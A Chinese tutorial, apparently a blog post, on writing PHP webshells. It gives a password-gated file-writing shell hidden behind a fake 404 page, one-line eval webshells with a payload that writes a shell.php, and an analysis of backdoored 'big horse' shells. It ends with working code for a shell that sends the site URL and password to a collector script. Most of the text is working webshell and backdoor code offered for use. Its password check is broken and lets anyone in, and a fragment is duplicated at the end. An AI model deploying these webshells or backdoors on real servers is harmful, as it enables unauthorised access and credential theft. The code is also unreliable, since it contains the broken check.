PHP工具开发
PHP小马
- 简单隐藏
- 登陆密码
- 实现写入文件
<?php
$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456
$get = $_GET['pass'];
if (!empty($get)) {
if (md5(md5($get))) {
if (!empty($_POST)) {
$path=$_POST['filepath'];
$content=$_POST['filecontent'];
# 文件写入
$statement=fopen($path,"w");
# fopen('文件路径','打开模式')
if(fwrite($statement,$content))
# fwrite('文件路径','文件内容'),成功返回字符数,失败返回false
{
echo '<font color="red">success</font><br/>';
}else{
echo '<font color="red">error!</font><br/>';
}
}
echo '服务器ip: ' . $_SERVER['HTTP_HOST'] . ' ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';
echo '绝对路径: ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';
echo '当前目录: ' . __DIR__ . '<br/>';
echo '<form action="" method="post">';
echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';
echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';
echo '<input type="submit" value="submit">';
echo '</form>';
} else {
echo 'password is worry';
}
} else {
?>
<!--第二部分-404报错界面-->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\">
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
</body>
<?php
}
?>
<!-- else 的结束右括号 -->
一句话木马
原理分析
eval:把字符串当作 php 代码执行
<?php @eval($_POST['aa'])?>
?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')
assert:同 eval
抓包分析
使用 WSExploer 抓包工具可以更具软件进程进行网络抓包
原始:
base64解密后
一句话木马变形写法
https://mp.weixin.qq/s/YH_LWRNb3T2QapWKlzybAg
正则
file_get_contents() 可以直接访问 url
PHP大马分析
网上的大马大都有后门,大马下载网站存在搜索引擎优化 seo
使用大马应先抓包看有没有后门
案例1:
这个大马回首先下载 404.gif,下载部分未后门一部分
使用 wireshark 抓包后看到后门会将 shell 的信息发送给远程服务器
案例二:
抓包结果
大马代码,这个大马会首先请求远程服务器,下载大马
首先解密 ascii
echo $get 即可,不要总想着看到加密后的就只想逆向解密,直接换成输出,简单高效
$get=file_get_contents()
$unzip=gzinflate
解密大马源码,找到后门,登陆时传输数据到后台
实现大马后门
前端大马 shell.php
<?php
$pass = 'admin';
if (empty($_POST)) {
echo '<form action="" method="post">';
echo 'password <input type="text" name="password" >';
echo '<input type="submit" value="submit">';
echo '</form>';
} else {
$password=$_POST['password'];
echo $password;
if ($password == $pass) {
$url = 'http://localhost/demo/audit/dama/box.php';
$path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;
echo $path;
file_get_contents($url.$path);
}
else{
echo 'pass worry';
}
}
后端箱子 box.php
<?php
if (!empty($_GET)) {
$url=$_GET['url'];
$f=fopen('data.txt','w');
fwrite($f,$url);
fwrite($f,'\r\n');
fclose($f);
}
data.txt
http://localhost/demo/audit/dama/shell.php\r\n
编写大马
大马出现问题的修复
大部分是引用传参的问题导致的
- PHP版本问题
- 函数过期
- 函数用法变化
- 系统环境不支持
漏洞框架实战
fclose($f);
}
data.txt
http://localhost/demo/audit/dama/shell.php\r\n
#### 编写大马
大马出现问题的修复
大部分是引用传参的问题导致的
1. PHP版本问题
1. 函数过期
2. 函数用法变化
2. 系统环境不支持
### 漏洞框架实战
更多推荐
PHP小马,大马实现分析编写
发布评论